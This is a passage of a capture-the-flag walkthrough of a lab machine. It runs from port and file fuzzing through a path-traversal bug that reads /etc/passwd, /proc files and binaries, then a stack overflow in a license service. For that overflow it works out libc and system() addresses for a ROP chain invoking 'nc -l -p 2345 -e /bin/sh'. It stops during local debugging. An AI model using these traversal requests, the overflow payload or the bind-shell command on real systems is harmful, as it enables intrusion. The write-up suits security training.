Information Gathering

NMAP

$ nmap -oA namp-tcp-all-service -sC -p- -sV 10.129.227.96 -vvDiscovered open port 80/tcp on 10.129.227.96Discovered open port 22/tcp on 10.129.227.96Completed Connect Scan at 14:03, 30.98s elapsed (65535 total ports)22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)| ssh-hostkey: |   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=|   256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/80/tcp open  http    syn-ack nginx| http-title: Agency - Start Bootstrap Theme|_Requested resource was /index.php?page=default.html|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA| http-methods: |_  Supported Methods: GET HEAD POSTService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Happy Pathing

Word List

  • emuemu
  • ostrich
  • beta
  • tester
  • test

PHP information disclousure

php-discourse

<?phpfunction sanitize_input($param) {    $param1 = str_replace("../","",$param);    $param2 = str_replace("./","",$param1);    return $param2;}$page = $_GET['page'];if (isset($page) && preg_match("/^[a-z]/", $page)) {    $page = sanitize_input($page);} else {    header('Location: /index.php?page=default.html');}readfile($page);?>

FUFF

  • FUFF.php
$ ffuf -w from-web.txt -u http://10.129.227.96/index.php?page=FUZZ.php          /'___\  /'___\           /'___\              /\ \__/ /\ \__/  __  __  /\ \__/              \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\              \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/               \ \_\   \ \_\  \ \____/  \ \_\                 \/_/    \/_/   \/___/    \/_/              v1.5.0 Kali Exclusive <3________________________________________________ :: Method           : GET :: URL              : http://10.129.227.96/index.php?page=FUZZ.php :: Wordlist         : FUZZ: from-web.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500________________________________________________test                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]beta                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]emuemu                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms]tester                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms]ostrich                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms]:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
  • FUFF.html
$ ffuf -w from-web.txt -u http://10.129.227.96/index.php?page=FUZZ.html        /'___\  /'___\           /'___\              /\ \__/ /\ \__/  __  __  /\ \__/              \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\              \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/               \ \_\   \ \_\  \ \____/  \ \_\                 \/_/    \/_/   \/___/    \/_/              v1.5.0 Kali Exclusive <3________________________________________________ :: Method           : GET :: URL              : http://10.129.227.96/index.php?page=FUZZ.html :: Wordlist         : FUZZ: from-web.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500________________________________________________ostrich                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]emuemu                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 80ms]beta                    [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 80ms]tester                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 81ms]test                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 81ms]:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::                                                                   

http://10.129.227.96/index.php?page=beta.html

php-beta

  • Thoughts:
    • Insecure file upload sanitation vuln php reverse shell? But first lets take a look at the PHP LFI

LFI

$ curl http://10.129.227.96/index.php?page=../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:105::/nonexistent:/usr/sbin/nologin_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologinsshd:x:106:65534::/run/sshd:/usr/sbin/nologinvagrant:x:1000:1000::/vagrant:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologindev:x:1001:1001::/home/dev:/bin/bash                               

https://man7.org/linux/man-pages/man5/proc.5.html

https://idafchev.github.io/enumeration/2018/03/05/linux_proc_enum.html

Look at running process

  • /proc/self/cmdline
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/self/cmdlineWarning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/self/cmdline --output cmd-self                                                                       % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100    78    0    78    0     0    510      0 --:--:-- --:--:-- --:--:--   513$ cat cmd-self                                                                                     php-fpm: pool www 
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/sched_debug                   Sched Debug Version: v0.11, 5.10.0-11-amd64 #1............0.000000         0.001724         0.000000 0 0 / S activate_licens   410      1503.981888        13   120         0.000000         2.254740         0.000000 0 0 / S     in:imuxsock   420     19188.894905      1261   120         0.000000        31.588245         0.000000 0 0 / S       in:imklog   421     12493.938694        13   120         0.000000         1.727961         0.000000 0 0 / S   rs:main Q:Reg   424     19188.891458      1275   120         0.000000        34.949900         0.000000 0 0 / S        dhclient   450      6341.433484        13   120         0.000000         3.587832         0.000000 0 0 / S  isc-worker0000   452     17585.940317        12   120         0.000000         2.540064         0.000000 0 0 / S      isc-socket   453     17585.764547         8   120         0.000000         0.322741         0.000000 0 0 / S       isc-timer   454     17585.752858         9   120         0.000000         0.270197         0.000000 0 0 / I            nfit   507      6030.446932         2   100         0.000000         0.019195         0.000000 0 0 / S      php-fpm7.4   592     19214.834651      2686   120         0.000000       191.313343         0.000000 0 0 / S         chronyd   598     18212.954059        53   120         0.000000         6.015704         0.000000 0 0 / R           nginx   601     19215.815930       126   120         0.000000        31.008095         0.000000 0 0 / S           nginx   602     15636.596945        25   120         0.000000         4.539751         0.000000 0 0 />R      php-fpm7.4   607     19216.900704        36   120         0.000000         8.623996         0.000000 0 0 / I    kworker/u4:1  1048     18771.414015       411   120         0.000000        35.327237         0.000000 0 0 / I     kworker/1:1  1247     19048.985082         8   120         0.000000         0.100057         0.000000 0 0 / I     kworker/1:0  1410     19054.990121         6   120         0.000000         0.085564         0.000000 0 0 /
  • Interesting find:
    • S activate_licens 410 1503.981888 13 120 0.000000 2.254740 0.000000 0 0 /
      • Name: activate_licens
      • PID: 410

fcf85b0f079804f02c873842e377bc6d.png

  • Seems to be that the activate_licens proc we just enumerated is what we upload to to and not a PHP file. lets take a closer look to see what happens onces we submit a file. 2e7afeb6ce15c584f644ac604dde3b62.png
  • After submit we are redirect to /activate_license.php 58663e3f7ec4476e2f220b0ce69a0074.png
  • LIF this file
$ curl http://10.129.227.96/index.php?page=../../../../../../../var/www/html/activate_license.php -o activate_license.php  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100   585    0   585    0     0   3826      0 --:--:-- --:--:-- --:--:--  3848                                                                   $ cat activate_license.                                                                                          ```
<?phpif(isset($_FILES['licensefile'])) {    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);    $license_size = $_FILES['licensefile']['size'];    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);    if (!$socket) { echo "error socket_create()\n"; }    if (!socket_connect($socket, '127.0.0.1', 1337)) {        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";    }    socket_write($socket, pack("N", $license_size));    socket_write($socket, $license);    socket_shutdown($socket);    socket_close($socket);}?>
  • So the file we upload gets read by activate_licens binary it seems like. Lets checks activate_licens port number to see if it matches port 1337
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/net/tcp  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                        0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11699 1 00000000433ce589 100 0 0 10 0                        1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11727 1 000000007fa8acd6 100 0 0 10 0                        2: 0100007F:0539 00000000:0000 0A 00000000:00000000 00:00000000 00000000    33        0 12507 1 00000000e7787165 100 0 0 10 0                        3: 60E3810A:0050 4C0E0A0A:CA82 01 00000000:00000000 00:00000000 00000000    33        0 23764 1 000000009f4ffbad 27 4 30 10 -1                                                                                                                                                        
  • "local_address" is the local address and port number pair.
  • So 0x0539 is the port number
$ printf "%d"  0x0539                                           1337 
  • Now we are 100% certain that http://10.129.227.96/activate_license.php is sending data that we supply to PID 410 or otherwise called the activate_licens binary.
  • Lets download exe file with curl and see if there isn't a binary exploit (binex) we can do.
 curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/exe --output  activate_license                                                                                                                                6 ⨯  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 22536    0 22536    0     0  97473      0 --:--:-- --:--:-- --:--:-- 97558
  • Lets check the file out
$ file activate_license ; checksec activate_licenseactivate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info,not stripped[*] '/ctfs/htb/retired/binex/activate_license'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled
  • I can already tell that we are dealing some sort of buffer overflow since no stack canary is found. Futhermore, the file is not stripped so lets take a look at it in Ghidra.

f0e437768f86fdc06ce5a1725d9e8dff.png

  • Alright here we are below you can see the main() and activate_license() functions below
void activate_license(int sockfd){  int iVar1;  ssize_t sVar2;  int *piVar3;  char *pcVar4;  sqlite3_stmt *stmt;  sqlite3 *db;  uint32_t msglen;  char buffer [512];    sVar2 = read(sockfd,&msglen,4);  if (sVar2 == -1) {    piVar3 = __errno_location();    pcVar4 = strerror(*piVar3);    error(pcVar4);  }  msglen = ntohl(msglen);  printf("[+] reading %d bytes\n",(ulong)msglen);  sVar2 = read(sockfd,buffer,(ulong)msglen);  if (sVar2 == -1) {    piVar3 = __errno_location();    pcVar4 = strerror(*piVar3);    error(pcVar4);  }  iVar1 = sqlite3_open("license.sqlite",&db);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  sqlite3_busy_timeout(db,2000);  iVar1 = sqlite3_exec(db,                       "CREATE TABLE IF NOT EXISTS license (   id INTEGER PRIMARY KEY AUTOINCREMENT,    license_key TEXT)"                       ,0,0,0);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  iVar1 = sqlite3_step(stmt);  if (iVar1 != 0x65) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  iVar1 = sqlite3_reset(stmt);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  iVar1 = sqlite3_finalize(stmt);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  iVar1 = sqlite3_close(db);  if (iVar1 != 0) {    pcVar4 = (char *)sqlite3_errmsg(db);    error(pcVar4);  }  printf("[+] activated license: %s\n",buffer);  return;}int main(int argc,char **argv){  int iVar1;  __pid_t _Var2;  int *piVar3;  char *pcVar4;  char clientaddr_s [16];  sockaddr_in clientaddr;  socklen_t clientaddrlen;  sockaddr_in server;  uint16_t port;  int clientfd;  int serverfd;    if (argc != 2) {    error("specify port to bind to");  }  iVar1 = __isoc99_sscanf(argv[1],&DAT_00102100,&port);  if (iVar1 == -1) {    piVar3 = __errno_location();    pcVar4 = strerror(*piVar3);    error(pcVar4);  }  printf("[+] starting server listening on port %d\n",(ulong)port);  server.sin_family = 2;  server.sin_addr = htonl(0x7f000001);  server.sin_port = htons(port);  serverfd = socket(2,1,6);  if (serverfd == -1) {    piVar3 = __errno_location();    pcVar4 = strerror(*piVar3);    error(pcVar4);  }  iVar1 = bind(serverfd,(sockaddr *)&server,0x10);  if (iVar1 == -1) {    piVar3 = __errno_location();    pcVar4 = strerror(*piVar3);    error(pcVar4);  }  iVar1 = listen(serverfd,100);  if (iVar1 == -1) {    piVar3 = __errno_location();    pcVar4 = strerror(*piVar3);    error(pcVar4);  }  puts("[+] listening ...");  while( true ) {    while( true ) {      clientfd = accept(serverfd,(sockaddr *)&clientaddr,&clientaddrlen);      if (clientfd != -1) break;      fwrite("Error: accepting client\n",1,0x18,stderr);    }    inet_ntop(2,&clientaddr.sin_addr,clientaddr_s,0x10);    printf("[+] accepted client connection from %s:%d\n",clientaddr_s,(ulong)clientaddr.sin_port);    _Var2 = fork();    if (_Var2 == 0) break;    __sysv_signal(0x11,(__sighandler_t)0x1);    close(clientfd);  }  close(serverfd);  activate_license(clientfd);                    /* WARNING: Subroutine does not return */  exit(0);}
  • So main calls activate_license() with the client file discriptor as an argument but only after it closes the serverfd.
  • inside of activate_license we have a buffer of 512 bytes. However, there is a bufferoverflow with the below line of code.
sVar2 = read(sockfd,buffer,(ulong)msglen);
  • msglen is set by the number of btyes inside our inputfile on the beta.html page.
  • Since PIE is enabled in the binary we and no format string vulnerbilty was found we can assume we are going to do an ROPChain attack on the binary! First lets check is ALSR is enabled on the victim machine.
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/sys/kernel/randomize_va_space     2
  • Alright ASLR is fully enabled thats okay though since the program is already loaded up into memory we can look at its memory mappings and determine where exec() is located within memory
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/maps                          562c10f04000-562c10f05000 r--p 00000000 08:01 2408                       /usr/bin/activate_license562c10f05000-562c10f06000 r-xp 00001000 08:01 2408                       /usr/bin/activate_license562c10f06000-562c10f07000 r--p 00002000 08:01 2408                       /usr/bin/activate_license562c10f07000-562c10f08000 r--p 00002000 08:01 2408                       /usr/bin/activate_license562c10f08000-562c10f09000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license562c1221d000-562c1223e000 rw-p 00000000 00:00 0                          [heap]7f668b051000-7f668b053000 rw-p 00000000 00:00 0 7f668b053000-7f668b054000 r--p 00000000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b054000-7f668b056000 r-xp 00001000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b056000-7f668b057000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b057000-7f668b058000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b058000-7f668b059000 rw-p 00004000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f668b059000-7f668b060000 r--p 00000000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b060000-7f668b070000 r-xp 00007000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b070000-7f668b075000 r--p 00017000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b075000-7f668b076000 r--p 0001b000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b076000-7f668b077000 rw-p 0001c000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f668b077000-7f668b07b000 rw-p 00000000 00:00 0 7f668b07b000-7f668b08a000 r--p 00000000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b08a000-7f668b124000 r-xp 0000f000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b124000-7f668b1bd000 r--p 000a9000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b1bd000-7f668b1be000 r--p 00141000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b1be000-7f668b1bf000 rw-p 00142000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so7f668b1bf000-7f668b1e4000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b1e4000-7f668b32f000 r-xp 00025000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b32f000-7f668b379000 r--p 00170000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b379000-7f668b37a000 ---p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b37a000-7f668b37d000 r--p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b37d000-7f668b380000 rw-p 001bd000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so7f668b380000-7f668b384000 rw-p 00000000 00:00 0 7f668b384000-7f668b394000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b394000-7f668b48c000 r-xp 00010000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b48c000-7f668b4c0000 r--p 00108000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b4c0000-7f668b4c4000 r--p 0013b000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b4c4000-7f668b4c7000 rw-p 0013f000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.67f668b4c7000-7f668b4c9000 rw-p 00000000 00:00 0 7f668b4ce000-7f668b4cf000 r--p 00000000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4cf000-7f668b4ef000 r-xp 00001000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4ef000-7f668b4f7000 r--p 00021000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4f8000-7f668b4f9000 r--p 00029000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4f9000-7f668b4fa000 rw-p 0002a000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so7f668b4fa000-7f668b4fb000 rw-p 00000000 00:00 0 7ffecf8cb000-7ffecf8ec000 rw-p 00000000 00:00 0                          [stack]7ffecf90a000-7ffecf90e000 r--p 00000000 00:00 0                          [vvar]7ffecf90e000-7ffecf910000 r-xp 00000000 00:00 0                          [vdso]                                          
  • What we are most interested in is the first libc-2.31.so address as thats where our best chance to find the gadgets and addresses we need to preform the ROPchain
-7f668b1e4000 r--p 00000000 08:01 3634                 
  • So our base address for libc is 0x7f668b1bf000
  • Lets curl the libc file and see the offset of system() and a couple other useful functions to see which one works (system() should be all we need but it is always good to have backup plans)
 curl http://10.129.227.96/index.php?page=../../../../../../..//usr/lib/x86_64-linux-gnu/libc-2.31.so --output libc-2.31.so                                                                                                          23 ⨯  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 1796k    0 1796k    0     0  1707k      0 --:--:--  0:00:01 --:--:-- 1707k$ objdump -M intel -d libc-2.31.so | grep -i system0000000000048e50 <__libc_system@@GLIBC_PRIVATE>:   48e53:       74 0b                   je     48e60 <__libc_system@@GLIBC_PRIVATE+0x10>$ objdump -M intel -d libc-2.31.so | grep -i exe  00000000000cb6c0 <execve@@GLIBC_2.2.5>:   cb6cd:       73 01                   jae    cb6d0 <execve@@GLIBC_2.2.5+0x10>00000000000cb820 <execv@@GLIBC_2.2.5>:   cb82a:       e9 91 fe ff ff          jmp    cb6c0 <execve@@GLIBC_2.2.5>
0x48e50 + 0x7f668b1bf000 = 0x7f668b207e50
  • Let's now find a binary we can call on the victim machine lets start with enumerating the /bin folder for outdated known vulnerable binaries like netcat.
$ curl http://10.129.227.96/index.php?page=../../../../../../../bin/nc --output nc                                                                                                                                                     1 ⨯  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 34952    0 34952    0     0   144k      0 --:--:-- --:--:-- --:--:--  144k$ ls -alh nc          -rw-r--r-- 1 anon anon 35K Jul 26 16:02 nc                                                                   $ chmod +x nc                                                   $ ./nc -h                           [v1.10-46]connect to somewhere:   nc [-options] hostname port[s] [ports] ... listen for inbound:     nc -l -p port [-options] [hostname] [port]options:        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]        -e filename             program to exec after connect [dangerous!!]        -b                      allow broadcasts        -g gateway              source-routing hop point[s], up to 8        -G num                  source-routing pointer: 4, 8, 12, ...        -h                      this cruft        -i secs                 delay interval for lines sent, ports scanned        -k                      set keepalive option on socket        -l                      listen mode, for inbound connects        -n                      numeric-only IP addresses, no DNS        -o file                 hex dump of traffic        -p port                 local port number        -r                      randomize local and remote ports        -q secs                 quit after EOF on stdin and delay of secs        -s addr                 local source address        -T tos                  set Type Of Service        -t                      answer TELNET negotiation        -u                      UDP mode        -v                      verbose [use twice to be more verbose]        -w secs                 timeout for connects and final net reads        -C                      Send CRLF as line-ending        -z                      zero-I/O mode [used for scanning]port numbers can be individual or ranges: lo-hi [inclusive];hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
  • BOOM! we just hit the jackpot to an easy shell post ROPChain! Since this is an outdated netcat we can set up a bind shell with the following evil string
"nc -l -p 2345 -e /bin/sh"
  • Lets see what shells we can pick from on the victim machine
curl http://10.129.227.96/index.php?page=../../../../../../../etc/shells        # /etc/shells: valid login shells/bin/sh/bin/bash/usr/bin/bash/bin/rbash/usr/bin/rbash/bin/dash/usr/bin/dash
  • Okay lets review what we have so far
    • A vulnerable binary that we supply a payload file to thats susspectable to a buffer overflow attack combined with a ROPChain calling system("nc -l -p 2345 -e /bin/sh")
    • This should give us a bind shell to connect to on the victim machine at port 2345.
  • All we need to do now is find the proper gadgets and the buffer flow padding which should just be buffersize + rbp size = 520 bytes until he hit the rip register to start controlling the execution of memory of the file.
  • Also, we can not forget our target address for system() is 0x7f668b207e50.
  • The first four registers used for passing parameters in a x86-64 file are the rdi, rsi, rdx, and rcx, regesters in that order. However, we only care about controlling the rdi register since system() only takes one parameter.

Exploit Devlopment

  • For exploit dev lets set up a mock enviorment to test our inputs
  • Start activeate_license on port 1337
$ lsactivate_license  activate_license.php  libc-2.31.so  nc$ ./activate_license 1337[+] starting server listening on port 1337[+] listening ...
  • Start a php server in the same directory as activate_license.php
$ php -S localhost:8000PHP 8.1.5 Development Server (http://localhost:8000) started
  • test a post request to the php server with a test file
$ vim evil_file.txt               
  • evil_file.txt test containts
this is a test
  • output:
$ curl -d @evil_file.txt http://localhost:8000/activate_license.php         $ php -S localhost:8000[Tue Jul 26 16:26:00 2022] PHP 8.1.5 Development Server (http://localhost:8000) started[Tue Jul 26 16:32:12 2022] [::1]:55582 Accepted[Tue Jul 26 16:32:12 2022] [::1]:55582 [200]: POST /activate_license.php[Tue Jul 26 16:32:12 2022] [::1]:55582 Closing$ ./activate_license 1337[+] starting server listening on port 1337[+] listening ...
  • Hmm nothing happpen lets alter how activate_license.php reads in a file
$ touch license.sqlite$ lsactivate_license  activate_license.php  evil_file.txt  libc-2.31.so  license.sqlite  nc
  • Okay now our mock enviroment is setup correctly. Lets try sending the evil file again
<?php    $license      = file_get_contents("./evil_file.txt");    $license_size = filesize("evil_file.txt");    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);    if (!$socket) { echo "error socket_create()\n"; }    if (!socket_connect($socket, '127.0.0.1', 1337)) {        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";    }    socket_write($socket, pack("N", $license_size));    socket_write($socket, $license);    socket_shutdown($socket);    socket_close($socket);?>
  • Let's try this again
  • PHP Server Output:
[Tue Jul 26 17:19:28 2022] [::1]:55042 Accepted[Tue Jul 26 17:19:28 2022] [::1]:55042 [200]: GET /activate_license.php[Tue Jul 26 17:19:28 2022] [::1]:55042 Closing
  • activate_license service output
[+] accepted client connection from 127.0.0.1:23233[+] reading 15 bytes[+] activated license: [+] accepted client connection from 127.0.0.1:8397[+] reading 15 bytes[+] activated license: this is a test
  • There we go now we can focus on the ROPChain
  • First lets find out buffer overflow
$ python3 -c "print('A' * 512 + 'BBBBBBBB' + 'CCCCCCCC')" > evil_file.txt  $ curl  http://localhost:8000/activate_license.php [+] accepted client connection from 127.0.0.1:21685                                 [+] reading 529 bytes[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC����$ sudo dmesg | tail    [13788.355439] traps: activate_licens[8103] general protection fault ip:5555555555c0 sp:7fffffffdf28 error:0 in activate_license[555555555000+1000]
  • Lets listen to the activate_licenes service with strace set to flow forked children
$ strace -ff -k -x -i -n -p 7818              strace: Process 7818 attached[  43] [00007ffff7d768f3] accept(3, 
  • Run the curl command again
$ curl  http://localhost:8000/activate_license.php
  • Let's checkout strace now
